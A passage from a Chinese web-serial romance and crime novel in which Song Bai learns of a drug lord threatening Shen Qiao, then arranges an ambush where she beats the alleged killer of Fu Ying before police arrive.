许莫言刚挂掉电话打算和老板汇报。对讲耳机里忽然传来声音。许莫言本是沉着脸,听完那头的汇报后,神色微微一变,再抬眼时,眼底多了几分诧异。 “老板。” 端着酒杯的宋柏缓缓回头。 “小九说,那个阿峰来了,就在楼下,说要见您。” 宋柏眸色微冷。 “放他上来。” 偌大的办公室里,几人或立或坐,一时之间鸦雀无声。直到一声轻响,房门被推开,一个身着黑色大衣、身形高瘦的男人走了进来。 坐在办公椅里的宋柏抬眼,只一眼,便认出了来人。 他猜得没错,果然是傅英的人。 虽然只在傅英请他去别墅喝茶时见过一面,他却记得清楚。他只在傅英身边出现过一次,傅英外出也从不带在身边,他本以为只是个无关紧要的手下,现在看来,是他想叉了。 宋柏看着阿峰的同时,阿峰也在看他。 四目相对,面对宋柏压迫的气场,阿峰眼神沉稳,丝毫不怯。他开口对宋柏说的第一句话,不是虚与委蛇的问候,而是…… “宋总,不介意的话,我想和你单独聊。” 宋柏还未开口,许莫言先一步站出反对。 “不行,老板……” 许莫言还想再说,宋柏的目光已经淡淡扫了过来。 许莫言立刻噤声。陈青野则淡然起身。 “我去医院。” 宋柏颔首。陈青野转身出门前,冷厉的目光扫向立在办公室中央的阿峰。 阿峰面不改色,神色平静。 许莫言看了看老板,又看了看阿峰,最终咬牙挥手,带着所有保镖退出了办公室。 刚才还满是人影的办公室,瞬间变得空旷安静,只有几台电脑屏幕,还亮着暂停的监控画面。 一片沉寂中,宋柏放下酒杯,声音冷冽开口。 “所以,傅英死了吗?” 一直冷静自持的阿峰,眼神骤然一凛,垂在身侧的手猛地攥紧。 宋柏看着他这反应,懒懒靠向椅背,语气轻飘。 “所以,真死透了啊。” 办公室里只剩下他们两人,一瞬间空气静得能听见彼此的呼吸。 阿峰垂在身侧的手缓缓松开,眼底那一瞬间的波动已经敛去,重新恢复成深不见底的平静。 他没有否认,也没有承认,只是抬眼看向宋柏,双唇微启,声音低沉。 “荞小姐在医院,宋总现在关心的,却只是少爷的生死吗?” 宋柏眸色微冷:“傅英的死活,与我无关,我只是需要知道,你现在是代表谁来见我?” “我谁也不代表。”阿峰抬眸,“我只代表我自己,还有……荞小姐。” 听到“荞小姐”三个字,宋柏指尖一顿,周身的温度瞬间低了几分。 “你和沈荞,是什么关系?” 阿峰沉默一瞬,眼神放空,像是在回忆一段极遥远的往事。再开口时,声音里多了一丝连他自己都未察觉的涩意。 “荞小姐到少爷身边的第一天起,就是我跟着她。除了少爷,荞小姐曾经最亲近的人,是我。” 宋柏想起沈荞撞车时那双偏执又慌乱的眼睛。 怪不得。 阿峰看着他变幻的神色,继续开口: “我今天来,不是来跟宋总宣战,也不是来抢人。” “我只是来告诉你一件事……” 他顿了顿,目光瞬间变得锐利。 “荞小姐现在很危险。为了荞小姐的平安,我希望宋总能和我合作。” 宋柏身子微微前倾,气势摄人:“我凭什么相信你。” 阿峰抬眸,眼神沉静而坚定。 “我不需要宋总相信我,宋总只需要知道……我是少爷给荞小姐留的最后的退路。”—— 作者有话说:最后收尾了,应该没有多少章了。为了防盗,也为了感谢宝子们的陪伴。一些甜甜的日常番外到时候会设置成福利番外,给宝子们免费看。 第65章 认错人 办公室内的气压低沉, 宋柏指尖轻叩着冰冷的桌面,并没有应声,只是用那双深不见底的眼眸,静静审视着阿峰, 仿佛要将他从里到外彻底看穿。 “退路?”宋柏薄唇轻启, “活着的时候把她困在身边, 死了反倒给她留了一条条退路。” 宋柏语气讥讽, 阿峰面色看似不变, 垂在身侧的手实则悄然攥紧。 他本不必向宋柏解释什么,如果不是荞小姐选择了他, 如果不是这几年他确确实实护了荞小姐周全,他压根不会来见他。 阿峰没有多言, 只是从大衣内袋里掏出一张照片,缓步走到办公桌前, 将照片轻轻推到宋柏面前。 宋柏垂眸。 照片上是一个面容阴鸷的中年男人,眼神冷戾,一眼就知道不是什么好惹的角色。 他的目光从照片上掠过, 重新落回阿峰身上。 阿峰抬手, 指尖轻轻点了点照片。 “这个人,旁人都叫他四爷。他和老爷子是多年的合作伙伴。而老爷子的身份, 宋总应该清楚。” 宋柏不置可否,只静静听着。 “早年, 老爷子把控中缅边境大半运输线,四爷则掌控缅甸北部所有毒品种植园。五六年前, 四爷提出联姻,想以此绑定两家联盟。老爷子应了,少爷却一直没点头, 老爷子认定是荞小姐碍了事,几次让少爷把荞小姐送走。少爷都没松口。” “直到老爷子被逼退进山,走投无路向四爷求援。四爷只给了一个条件。想让他出手、继续合作,少爷必须送走荞小姐,永远消失,再娶他的女儿。” “少爷没答应。”阿峰的声音冰冷,“不管是四爷,还是他的女儿,都是出了名手段阴狠。少爷比谁都清楚, 荞小姐一旦离开他,就是死路一条。少爷没有妥协,而是杀了四爷的女儿,用她的尸体,伪装了荞小姐的死亡。” “对外,所有人都以为荞小姐死了,包括四爷。”阿峰沉声道,“四爷一直以为,他的女儿还活着,只是失踪了,所以从未停止过寻找。少爷在哥伦比亚的行踪暴露后,他也追了过来。” 宋柏眼帘一颤。 所以,傅英的死,和这个四爷有关。 “四爷找到了少爷,却找不到荞小姐。少爷为荞小姐准备新身份,掩盖荞小姐的所有踪迹,就是为了不让四爷找到她。而四爷,在不久后的中缅联合行动后彻底销声匿迹。这两年,我一直在找他,原以为他躲去了南美或北美,直到……” 阿峰再度掏出一张照片,递到宋柏眼前。 照片上的男人年轻英俊,气质张扬。 “荞小姐八月在卡塔赫纳,把这个人踹进了海里。他叫付川。”阿峰的目光骤然一锐,“我本是例行调查他的身份,却查到,他有一个亲哥哥,名叫付山。” “这个付山,就是四爷。” “四爷从未见过荞小姐,少爷又掩盖了她的一切,她本不该被盯上。可荞小姐这三年,每年都在少爷出事那天去码头,又偏偏把付川踹进了海里。付川必定向四爷提起过她,我在查付川的时候,四爷也在查荞小姐。” “这两个月,四爷的人一直在暗中尾随荞小姐。而我,一直在盯着他们。” “宋总应该看到当初那具女尸的照片吧…… 宋柏抬眸,看向阿峰,指节缓缓收紧,眼底寒意渐浓。 “四爷一旦弄清楚荞小姐的身份,抓到荞小姐,荞小姐会遭受什么,也不用我和宋总多说了。” “我已经知道了他在国内的真实身份,也知道他的藏身之处。我会杀了他。我来找宋总,也只是需要你做一件事。护好荞小姐,保证她的安全。” * 宋柏回到医院时,已是深夜。 病房外除了值守的保镖,只有陈青野一人,坐在冰冷的长椅上。 陈青野本闭着眼假寐,听见脚步声,缓缓掀开眼帘。见是宋柏,他坐直了身子。 宋柏走到他身旁,并肩坐下。 “她们都睡了吗?” 陈青野轻点下头,再抬眼,眼神犀利。 “到底怎么回事?” 宋柏没有再隐瞒,把所有一切,都告诉了陈青野。而陈青野的脸色,随着他的话语,一变再变。 “所以,她被抵到赌场之后,其实一直待在傅英身边?” 宋柏喉间微紧,沉声应道:“应该是。” 她从没跟他提过她和傅英的任何事,他也是从傅英用他们两人名字联名成立的慈善基金会,对照时间线推算,才猜出了大概。 而陈青野,一直以为沈荞这些年都被困在赌场,以为她是因为赌场老板的关系才迫不得已认了毒枭做干爹。如今真相虽与他想象不同,却也没好多少。 陈青野闭了闭眼,掩去眼底压抑的戾气。 “我当时就应该让她去非洲。炸了那个人渣。” 如果不是那个人渣,她们姐妹二人,根本不必承受这一切苦难。 只是事已至此,多说无益。 陈青野抬眼:“你打算怎么做?”” “郊区的庄园本就部署了安保,我已经让李程又调一批过来,一部分加守在郊区,一部分给你们。” 宋柏顿了顿:“她姐姐那边,最好暂时请假,跟我们一起回郊区住一段时间。事情我会尽快解决,用不了多久。” 陈青野眉头一蹙:“你要亲自动手?这里是国内。” 宋柏刚要开口,病房门突然被轻轻拉开。 沈蒲蘅睡眼惺忪地走出来,看见门外的宋柏,微微一怔,随即压低了声音。 “你来了?荞荞做噩梦了,你进去陪陪她吧。” 宋柏颔首,与陈青野交换了一个眼神后,起身推门走进了病房。 单人病房不大,宋柏刚一踏入,目光便落在了躺在病床上的人身上。 她穿着宽大的病号服,头上缠着纱布,整个人陷在病床里,显得格外单薄。脸上没有半分血色,眉头紧紧蹙着,双手死死攥着胸前的被角,显然正深陷在一场挣脱不开的梦魇里。 宋柏放轻脚步,一步步走近,最终在床边停下。垂眸再看她时,他心头戾气翻涌。 她什么都没做错,凭什么要承受这些,经历这些。 傅英最好是真的死透了,如果没死,他不介意亲手一枪崩了他。 宋柏缓缓蹲下身,伸手一点点擦去她额角的冷汗,随后轻轻覆上她攥紧被单的手,用掌心一点点包裹住她冰凉的指尖,慢慢将她紧绷的手指一根根松开。 “荞荞。” 他压低声音。 “醒醒。” 话音落下,沈荞的睫毛一颤,抖动了几下后,缓缓睁开了眼睛。 视线先是模糊,再慢慢清晰。 映入眼帘的,是宋柏近在咫尺的脸。 平日里冷硬凌厉的轮廓,在昏黄的灯光下被磨去了所有棱角,显得格外柔和,那双深不见底的黑眸里,只剩下化不开的柔光。 还没从噩梦中完全挣脱的沈荞愣了愣,声音沙哑干涩:“……宋柏?” “嗯,是我。” 宋柏应声,指尖轻轻摩挲着她的手背。 “别怕,只是噩梦。” 她怔怔地看着他,没有说话,只是下意识地往他身边靠了靠。 这个微小的动作,让宋柏本冷冽的心瞬间柔软下来。 他伸手,小心翼翼将她揽进怀里,没有问她梦到了什么,只是一下下轻拍着她的背,低声安抚。 “没事了。” “只是噩梦。” 沈荞埋在他胸口,听着他沉稳有力的心跳,抬手紧紧搂住他的腰,将脸埋得更深。 相拥片刻,沈荞的意识渐渐清醒。她抬起头,仰头望着他。 “找到阿峰了吗?” 宋柏掏出手机,划开屏幕,点开相册,把最新的那张照片递到她眼前。 “这个人,就是你说的阿峰吗?” 照片里的人身形高瘦,轮廓看着有几分熟悉,可那张脸,却十足陌生。 沈荞皱了皱眉:“他不是阿峰。” 宋柏收起手机,抬手揉了揉她的脸颊。 “许莫言和陈青野一起查了监控,顺着找过去,找到的就是这个人。” 沈荞愣了愣:“是我看错了吗?” 宋柏轻声道:“如果他不是阿峰,那就是你看错了。” 沈荞微微一怔,心头空落。 是啊,阿峰早就死了,林意亲口跟她说的。 连林意都不在了,阿峰又怎么可能还活着。 是她执念太深,出现了错觉。 她吸了口气,声音轻飘。 “我想回去了。” 阿峰、林意 、傅英,都已经不在了。 她现在有姐姐,有他,有何婶,她不该再沉在过去里,胡思乱想。 宋柏看着她眼底的疲惫与茫然,轻轻点头:“好,我们回去。”” 病房外,沈蒲蘅还没从陈青野和她说的事情里缓过神,就看见宋柏抱着沈荞从病房里走出来。 她上前几步,语气带着急切。 “怎么出来了?” 沈荞抬起埋在宋柏胸膛里的脸,声音温软:“姐姐,我想回去了。” 沈蒲蘅面对宋柏时还带着几分急切,一看向自己的妹妹,眉眼瞬间柔了下来。 “好,回去,我们这就回去。” 沈荞:“姐姐也要一起回去吗?” 沈蒲蘅抬眼和宋柏对视一眼,再低头时,换上若无其事的笑:“嗯,最近太忙,姐姐有点累,想放松几天,你不欢迎姐姐吗?” 和姐姐相处两年,沈荞怎么会不知道,她姐姐有多喜欢中医,多喜欢当医生。什么累,不过是担心她,想陪着她的借口。 沈荞心里微微发酸。 她太冲动了,总让姐姐担心。 沈荞勉强挤出一抹笑,刚要开口,宋柏搂在她腰间的手,微微收紧。 “有什么话,回去再说。” 坐上车,沈荞安静坐在宋柏怀里,看着姐姐在陈青野的护送下上了另一辆车,才缓缓转眸看向他。 “我是不是又让姐姐担心了?” 宋柏低头看她,没忍住轻轻掐了掐她的脸,语气里带着几分吃味:“就让你姐姐担心了?那我呢?” 在看到车撞向树上的那一瞬间,他脑子一片空白,心跳差点都停了。她倒好,只惦记着她姐姐。 沈荞抿了抿唇,小声道:“对不起。” “你说什么?” 她的声音太低,宋柏险些以为自己听错。 “对不起。” 沈荞又重复了一遍,这一次,声音清晰了许多。 宋柏原本那点小小的吃味,瞬间被心疼取代。 他紧紧搂着她,声音低哑。 “不用跟我道歉。再多吓我几回,真把我心脏病吓出来,你也就再吓不到我了。” 沈荞抬眼,瞪了他一眼。 宋柏挑眉:“我说错了?” 沈荞抿着嘴不说话,往他怀里缩了缩。 宋柏低笑一声,把她搂得更紧,语气软了下来。 “好了,不逗你了。头还晕不晕?伤口疼不疼?” “不疼。” 沈荞是不疼,何婶却心疼坏了。在宋柏把沈荞抱进门放到床上后,何婶一边念叨着,一边忙前忙后,连宋柏都被她挤到了一旁。 沈荞有何婶细心呵护、有姐姐温柔照顾,宋柏和陈青野一起下楼,走到了吧台边。 宋柏随手拿起酒瓶,先给陈青野倒了一杯,才给自己满上。 陈青野端着酒杯,并没有喝,只是看着宋柏,旧话重提。 “你真要自己动手?” 宋柏浅啜了一口酒,语气冷静。 “凭空冒出来的人,凭空几句话,我还没那么冲动。我已经让李程去查了。你原来和边防禁毒合作过,关系还在吗?” 陈青野点头:“我去联系。” 宋柏和陈青野在吧台对饮之时,千里之外的一间酒店里,也有一人也正端着酒杯,独自望着窗外沉沉夜色。 这个人,正是付川。 回国已经好几个月,可他始终没能从那次落海里抽离出来。准确来说,他没能从那个一脚把他踹下海的纤细身影里走出来。 他的恍惚失常,早在回国之初就被他大哥察觉。他大哥开口问起,付川也没隐瞒,如实说了。 倒不是他和他大哥关系有多好,只是他心里清楚,或许只有他大哥有能力帮他找到她。 他大哥比他年长许多,在他早年的记忆里几乎没怎么出现过。只从父母口中听说,大哥在国外打拼,挣着大钱。 事实也的确如此。 大哥不仅给家里寄回不少钱,在他大学毕业后还直接给了他一家国际物流公司。 付川这些年能活得肆意潇洒,全靠他大哥在背后撑着。 潇洒归潇洒,付川心里也明白,他大哥的钱,多少沾着些灰色地带。可既然享受了,他也没什么立场去指摘。 从前他从没想过要再从大哥那里多要什么,直到这次。 他一定要找到她,一定要得到她。 念头刚起,放在一旁的手机忽然响了起来。 付川拿起一看,来电显示正是他大哥。 划开接起,他声音微哑:“大哥。” “收拾收拾去机场,飞机我已经安排好了。” 付川一怔:“去哪儿?” “云南。我这边有些事,需要你去办。”《 》 第66章 正文完 第66章 正文完 不算严重的脑震荡, 却把沈荞生生困在了床上。一来是她一动就头晕,二来是她姐姐、何婶还有宋柏,像是说好了,轮着班寸步不离地守着她。 沈荞在姐姐面前乖巧, 在何婶面前懂事, 唯独对着宋柏, 装都懒得装。 “我是犯人吗?” 坐在床边沙发里的宋柏抬眸, 扯了扯嘴角, 似笑非笑。 “你下来,原地转个圈。能站稳, 你想去哪儿,我都不管。” 这几个月每天忙着喂鸡刨地的沈荞瘪了瘪嘴, 眉眼瞬间耷拉下来:“可是……我好无聊。” 宋柏轻轻叹了口气,起身走到床边, 挨着她坐下,后背靠上床头,伸手轻轻拂开她额前的碎发, 目光落在她贴着纱布的伤口上。 “读书给你听?想听什么?” 沈荞往被窝里缩了缩:“我想看手机。” “不行。”宋柏拒绝得干脆, 伸手替她掖了掖被角,“不想听书, 那你就只能乖乖躺着。” 有总比没有好,沈荞最终选择妥协。 “行吧。” 宋柏随手拿起她放在床头那本书, 一字一句,慢慢读给她听。 窗外的阳光透过窗纱洒进房间, 落在床沿,落在他身上,一片温暖。温暖的房间里, 除了他低沉的读书声,就只剩下彼此平缓的呼吸。 沈荞枕着柔软的枕头,脸颊轻轻贴着他的腰侧,听着他沉稳的声音,原本憋闷烦躁的心情,一点点散开。 她悄悄抬眼,看着他认真的侧脸,出了神。 “宋柏。” 她轻声开口,打断了他。 宋柏低头看她,眼底温柔:“怎么了?” 沈荞眨了眨眼,直白地问:“你为什么喜欢我?” 她是病了,可没傻。 她知道她脾气差,知道她不让人省心,而且长相也算不上多漂亮,他到底为什么会喜欢她? 宋柏捧着书,垂眸静静看着她,眼底无波无澜,语气却前所未有地认真。 “因为,在你出现之前,我的人生,很无趣。” 他的出身、他的家庭,让他从出生起,就站在了常人穷极一生都无法企及的顶端。而从幼时起,围在他身边、刻意接近他的人,大多都带着目的,虚伪又乏味,无趣得让人心烦。 直到她出现。 她不讲理的时候,嚣张、霸道、偏执;讲理的时候,又乖得让人心疼。她走进他一潭死水的无趣生活里,把一切都搅得热闹起来。 宋柏轻轻合上书,俯身慢慢凑近她。 先是在她唇上轻轻一啄,随即抬眸看向她的眼,声音低哑。 “那你呢,现在喜欢我吗?” 沈荞怔了下,沉默了很久,才小声开口。 “一点点。” 三年陪伴,只换来一点点。 换作以前,宋柏或许会生气。可此刻,他只是弯了弯唇角。 一点点就好。 三年是一点点,他们还有无数个三年。总有一天,这一点点喜欢,会慢慢攒成很喜欢。 宋柏的视线从她清澈的眼眸缓缓下移,重新落在她微微泛红的唇上。下一秒,他再次俯身,深深吻了下去。 * 宋柏接了通电话走出房间,换她姐姐推门进来时,沈荞的嘴唇还微微发肿发麻。 察觉到姐姐的目光落在自己脸上,沈荞后知后觉,难得害羞。 沈蒲蘅看着她把脸埋进被子里,笑着收回视线。在宋柏刚刚坐过的床头坐下,她看着妹妹纤瘦的肩颈与乌黑的长发,心头一软。 她伸手,轻轻抚了抚沈荞的发顶。 “对不起。” 原本还在害羞的沈荞瞬间忘了羞,抬头看向她姐姐,眼底满是疑惑。 沈蒲蘅看着她,眼眶微微泛红,又重复了一遍。 “对不起,姐姐那时候不该逃的。姐姐应该拿钱去救你的。” 沈荞皱了皱眉:“姐姐,不是你的错。” 先不说姐姐自始至终都不知道她的存在,当年 她姐姐也才十六岁,刚失去外公,就被亲生父亲骗到陌生城市偿还赌债。换做是她,逃只是第一步,下一步只怕要拿刀跟那人拼命。 她姐姐,实在是太心软了。 沈蒲蘅喉间发涩,轻声问:“姐姐一直没问过你,这些年,你过得好吗?” 沈荞不加思索点头:“很好。” 吃穿用度都是最好的,教她的老师也是最顶级的,没有打骂,没有颠沛。即便没有自由,可比起在山里、在亲生父亲身边、在赌场的日子比,简直就是天堂。 沈蒲蘅不放心追问:“真的吗?” 沈荞点点头,又有些奇怪:“姐姐,你今天怎么了?” 沈蒲蘅轻轻摇头:“没事,姐姐就是想跟你说说话。” 卧床的日子漫长又无聊,脑震荡的后遗症和药物让沈荞大部分时间都在沉睡。而清醒时,她被禁止使用所有电子产品,只能听书。 只是,不是宋柏亲口念给她听,而是换成了冰冷的读书软件。至于宋柏,很忙。 沈荞不知道他在忙什么,只知道他电话很多,而每次接电话的时候,他都会避开她。而这,也让沈荞察觉到了异常。 默默观察了几天,某天深夜,在他又一次避开她接完电话回来时,沈荞猛地睁开原本闭着的眼睛,冷不丁开口。 “你在背着我干坏事。” 她用的是肯定句,而非疑问句。 宋柏漫不经心笑笑:“我在给你准备惊喜。” 惊喜? 沈荞还想追问,宋柏却不肯多说。 等沈荞能下床,已经是半个月后的事了。 等她能下床才知道,原来这大半个月不只是她姐姐在庄园陪着她,陈青野也在庄园陪着她姐姐。 看着自己好不容易翻整出来的空地,半个月没见,都搭好了暖棚。沈荞想都不用想,就知道这是陈青野的手笔。 再瞧着姐姐脸上温柔的笑意,沈荞心里顿时涌上自己辛辛苦苦几个月,却被人轻轻松松抢了全部功劳的憋屈感。 她在姐姐面前什么也没提,等只剩她和宋柏两个人时,才窝在宋柏怀里,揪着他的袖口闷闷开口:“我真的好讨厌陈青野。” 宋柏低头看着被她揪得发皱的袖口,笑得无奈:“这么讨厌?那我想办法,把你姐姐和他拆开?” 他本是随口玩笑,沈荞却认真思索了许久,才轻轻摇了摇头。 “不行,姐姐会伤心的。” 她讨厌陈青野,可姐姐是真心喜欢他。 哪怕她不懂姐姐为什么会喜欢,可只要是姐姐的选择,她再不甘心,也只能忍着。 话音落下,沈荞往宋柏怀里懒懒一靠,长叹了口气。 宋柏被她这副唉声叹气的模样逗笑,笑着笑着,目光渐渐沉了下来,多了几分难以掩饰的灼热。 她躺在床上大半个月,他也老老实实了大了半月。 低头,他埋首在她纤细的脖颈间,轻轻咬住她颈间的细肉,大掌也顺势探入她的衣摆,摩挲着她腰间柔软的肌肤。 而沈荞,原本轻缓的呼吸也逐渐变得沉重。 房间里彻底平静下来,已经是深夜。 宋柏从背后环抱着她,轻吻她光裸的背脊。 “马上又要下雪降温了,带你去温暖的地方,散散心?” 沈荞本来没答应,她舍不得姐姐。可第二天一睁眼,就看见陈青野和姐姐黏在一起,她瞬间堵得慌,转头就问宋柏什么时候走。 宋柏说,就这两天。 这两天里,他的电话又多了起来。沈荞看着他进进出出接电话,忽然想起他之前说的惊喜。 实在猜不透他要做什么,问也问不出来,她干脆懒得再管。 很快就到了出发那天。沈荞懒懒窝在沙发上,何婶在一旁替她收拾行李,她姐姐则轻轻摸着她的头,一遍遍叮嘱她记得吃药。 直到要走了,沈荞也不知道宋柏到底要带她去哪里。 飞机起飞时是黄昏,落地时已是深夜。即便在飞机上睡了一觉,她也直觉飞机并没有飞太久、太远。 窗外一片漆黑,只有跑道上零星的灯光,什么也看不清。 “这到底是哪里?” 宋柏没说话,只牵着她下了飞机,坐进车里。飞机被开进机库,车子也一同驶入,四周瞬间陷入一片黑暗。沈荞彻底被他弄糊涂了。 不等她急躁,宋柏抬手摸了摸她的头,轻声安抚:“别急,再等一会儿,你就知道了。” 沈荞耐着性子等了又等,终于等来了一架飞机的降落。飞机的机身在跑道上轻轻一震,缓缓滑行了一段,最终稳稳停在一片空旷的夜色里。 四下安静,只剩下引擎逐渐冷却的低鸣,窗外依旧是浓得化不开的黑,只有几盏遥远的指示灯,在黑暗里微弱地亮着。 沈荞靠在车窗边,心里疑惑没散,正等着宋柏告诉她这到底怎么回事。 就在这时,远处缓缓亮起两道车灯,一辆黑色轿车无声地从黑夜中驶来,朝着飞机的方向慢慢靠近。 沈荞微微眯起眼,正看向那车子时,变故突生。 另一辆车,毫无预兆,像是从黑暗里凭空冲出来一般,速度快得惊人,直直朝着不远处那辆刚停下的轿车狠狠撞去。 砰—— 一声巨响。 被撞的那辆车瞬间失控,车身猛地一歪,在地面上擦出刺眼的火花,连着翻滚了几圈才重重停下?车身向下,轮胎向上。轮胎还在空转,烟尘在黑暗里腾起,车子散出刺鼻的焦糊味。 沈荞整个人都僵住了。 心脏不受控制往上提,连呼吸都下意识放轻,她转头看向身边的宋柏,眼底满是震惊。 而宋柏,只是神色平静地将她往自己身边拢了拢,目光冷淡地望着前方的那片狼藉,像是早就知道会发生这一切。 沈荞终于回过神,第一反应就是抓住宋柏的胳膊:“快去救人!” 即便受了那么多伤害,她依旧是善良的。 可她身边的男人,连眉峰都没动一下。 宋柏只是垂眸看她,眼底幽深,轻轻摩挲着她的手背。 “别慌。” 他语气轻描淡写,仿佛那撞击,那被撞得底朝天的车压根不存在。 不等沈荞再开口,他已经推开车门,牵着她下车。 刚下车,脚刚沾地,沈荞就看见黑暗里,几道猩红细小的光点,稳稳落在那辆翻覆的车身上。 是狙击枪。 沈荞这才反应过来: 这不是意外。 也就是这时,许莫言带着保镖往被撞翻的车走去。 穿着黑衣的保镖,如同从夜色里渗出来的黑影,动作利落、冷硬、不带半分人情。他们拽开变形的车门,把后座里面的人硬生生拖出来,像拖一条毫无用处的死狗。 被拖出来的人连挣扎的力气都没有,在粗糙的地面上摩擦,发出沉闷而痛苦的闷哼,随即脑袋被许莫言狠狠踩在地上。 沈荞被眼前的一幕彻底惊呆了,而宋柏,松开了她的手。 宋柏在松开她一瞬,转身从保镖手中接过一样东西,重新塞进她掌心。 冰凉、坚硬、熟悉。 是她烦躁的时候,用来发泄,用来砸东西的那根高尔夫球杆。 沈荞正疑惑,宋柏反手擒住了她的手腕,牵着她一步一步,缓慢而沉重走向那个被许莫言踩在脚下狼狈不堪的男人。 四周空气静得可怕,只有风吹过的声音,和男 人压抑到极致的喘息。 走到近前,宋柏停下脚步,垂眸看着许莫言脚下的人,声音压得很低,却清晰,像根针一样直直扎进沈荞的耳朵里。 “他就是杀了傅英的人。” 短短一句话,粉碎了沈荞所有的理智。 前一秒还混沌空白的大脑,骤然清醒,又瞬间崩裂。 傅英的脸、傅英的眉眼、那些来不及说出口的话、压在心底翻涌了无数日夜的思念和恨,在这一刻轰然炸开,逼得她浑身控制不住地发抖。 她握着高尔夫球杆的手越攥越紧,指节泛白,冰凉的杆身被她握得发烫,连带着她整个人都被点燃。 下一秒,她抡起球杆,狠狠砸了下去。 第一下落在男人肩头,沉闷的骨裂声混着压抑的闷哼传来。男人痛得蜷缩在地,双手却依旧死死护着怀里的手机。 沈荞一眼瞥见,眼底戾气更重,红着眼再次挥杆。 这一下,她用尽全力,这一击,她用尽了全身力气,直直砸在他攥着手机的手上。骨骼碎裂的脆响刺耳,男人的手瞬间扭曲变形。 “是你……是你杀了他……” 她喘着粗气,声音嘶哑得不成样子,每一个字都带着嗜血的狠戾。 不等那人说话,她再次抬杆,这一次,狠狠砸在他脸上。 一声闷响,鲜血瞬间喷溅而出,溅在她的裤脚,溅在冰冷的球杆上。几颗沾血的牙齿飞出,落在地面,滚出一小段距离。 男人发出不似人声的惨叫,整张脸迅速肿起变形,口鼻鲜血狂涌,连呻吟都渐渐微弱。 本就遭受撞击,又挨了沈荞几杆。 男人奄奄一息,可沈荞压根停不下来。 她已经彻底失控,眼里只剩疯狂的偏执。 一下、又一下、再一下…… 球杆落下的力道一次比一次狠,砸得他浑身是血,只剩微弱的抽搐。 她脑子里只有一个念头: 打死他。 让他偿命。 让他给傅英偿命。 她呼吸急促到极致,胸口剧烈起伏,眼泪不受控制地夺眶而出。 流泪,不是因为她怕,而是她因为她恨到极致。 手臂早已酸涩发麻,握杆的手也在不住颤抖,可只要一想到傅英,她便又能爆发出一股狠劲,只想将眼前这人活活打死,挫骨扬灰。 就在她再次挥杆的刹那,手腕突然被人牢牢扣住。 宋柏从身后紧紧按住她,半拥着将她往后带,伸手稳稳截住了她即将落下的球杆。 “够了,”他贴在她耳边,声音压得极低,“别把自己手弄伤。” 宋柏的气息就在耳侧,可沈荞却什么也听不进去。 她听不见风声,听不见自己急促的喘息,更听不见地上那男人如死狗般微弱的气息。 她眼底猩红一片,脑海里翻涌的,依旧只有一个念头: 她要杀了他。 就在沈荞拼命想要甩开宋柏的束缚时,尖锐刺耳的警笛声突然撕裂了沉沉夜空。 下一秒,数道强光骤然射来,刺眼得让人无法睁眼。 数不清多少警车围堵住四周,枪口对准他们,扩音器里的厉声呵斥声震耳: “放下武器!立刻蹲下!” 沈荞喘着气没动,眯着眼迎上刺眼的白光。 光影之中,一道身影缓缓走出,轮廓渐渐清晰。那人一步步走近,目光直直落在她身上同时,沈荞也看清了他。 是陈延。 他看着她,眼神里有震惊,有难以置信,还有一层她读不懂的复杂。 气氛紧绷,一触即发,可宋柏依旧镇定。 他将沈荞护到身后,抬手挡在她身前,抬眼迎向所有枪口、灯光,以及陈延的视线,语气平淡: “只是一场车祸,我们下车处理,他们拿枪对着我们,我们,只是自卫。” 宋柏说这话时,沈荞的视线落向一旁翻滚的车旁。 她动手的时候,保镖不知道什么时候从车里又拖出了两个人,而那两个人的手边,赫然摆着两把枪,其中一把还是冲锋枪。 * 人生第二次坐上警车,上次把她带出警局的陈延,这一次亲自送着她上了警车。 “荞荞,别怕,没事的。” 沈荞不怕,她只是想知道,陈延为什么会出现在这里,他又为什么会穿着警服。 这就是他消失这么久,不来见她,也不给她打电话发消息的原因吗? 他现在,是个警察? 沈荞看着陈延出神时,和她一同坐上警车的宋柏牵住了她的手,按着她还在微微发颤的手。 正与沈荞说话的陈延,目光恰好落在两人交握的手上,再抬眼对上宋柏那抹漫不经心的视线时,眼底掠过一丝复杂难辨的情绪。 坐在警车后座上,一路上,沈荞几次想开口,都被宋柏无声摇头拦下。 他只对她说了三个字:“没事的。” 车子一路行驶,从无边黑暗驶入灯火间,最终停在一栋庄严的建筑前。 沧城边境管理支队。 有过一次被带进警局的经历,沈荞大致清楚流程。 她以为下车就要被带去小房间做笔录,没想到迎面而来的,是一张格外热切的笑脸。 “你就是陈工的妹妹吧?” 沈荞一怔。 还是宋柏在旁轻声解释。 陈工,是陈青野。 “陈工之前在我们这儿待过几个月,白天还特意打电话交代,说你要来沧城旅游,让我多照看着点。没想到,反倒让你遇上这种事。” 说话的是支队支队长韩兵。 他看着沈荞脸色发白,裤脚还沾着未干的血迹,眉头微蹙,立刻招手唤来一名女警。 “这是小陈,你先跟她去换身干净衣服,之后她再问你几句,你照实说就好。” 照实说? 沈荞下意识看向宋柏。 宋柏回了她一个安心的眼神。 沈荞跟着女警离开,宋柏则被陈延带走。 走到僻静处,原本沉默走在前头的陈延忽然顿住脚步,猛地转身,一把揪住宋柏的领口,将他狠狠砸在墙上。 “延哥!” 旁边年轻警员惊声劝阻。 陈延却恍若未闻,只死死盯着宋柏,眼底翻涌着压抑到极致的怒火。 “你怎么敢,怎么敢带她卷进这种事里?” 宋柏轻笑一声,笑意凉薄。 “就算没有我,你也不可能和她在一起。你知道为什么吗?” 陈延抿紧唇,脸色沉得吓人。 “因为你根本不了解她,不知道她想要什么。你也给不了。” 另一边,询问室里。 宋柏在机场时那一句简单的话,早已让沈荞明白该怎么说。 她的说法,和宋柏完全一致: 只是一场车祸,他们下车处理,对方却掏出了枪,他们只是自卫。 女警问:那人是谁打的。 沈荞平静回答:“我打的。” 女警脸上露出明显惊诧。 沈荞语气淡淡:“我有精神病,情绪上来了,控制不住。” 问话结束,沈荞独自留在小房间里,望着头顶惨白的白炽灯发呆。 不知过了多久,她才被带去大厅。 一到大厅,她就看见了宋柏,也看见了他脸上的伤。 本还算冷静的沈荞,眉头瞬间紧锁,三步并作两步冲了过去。 “怎么回事?” 宋柏微微偏过头。 沈荞顺着他的目光望去,看见不远处正垂着头、被上级厉声训斥的陈延。 是陈延打的。 沈荞心头翻涌的怒气,瞬间熄灭。 “疼吗?” 宋柏扯了扯红肿的嘴角:“疼,很疼。” 沈荞:“你对陈延说什么了?” 沈荞了解陈延,也了解宋柏。 不是他刻意招惹,陈延绝不会动手。 宋柏轻描淡写:“他嫉妒我。” 沈荞刚要开口,陈延已缓步朝她走来。 停在她面前,他低声唤她:“荞荞。” 沈荞转过身,看向他。 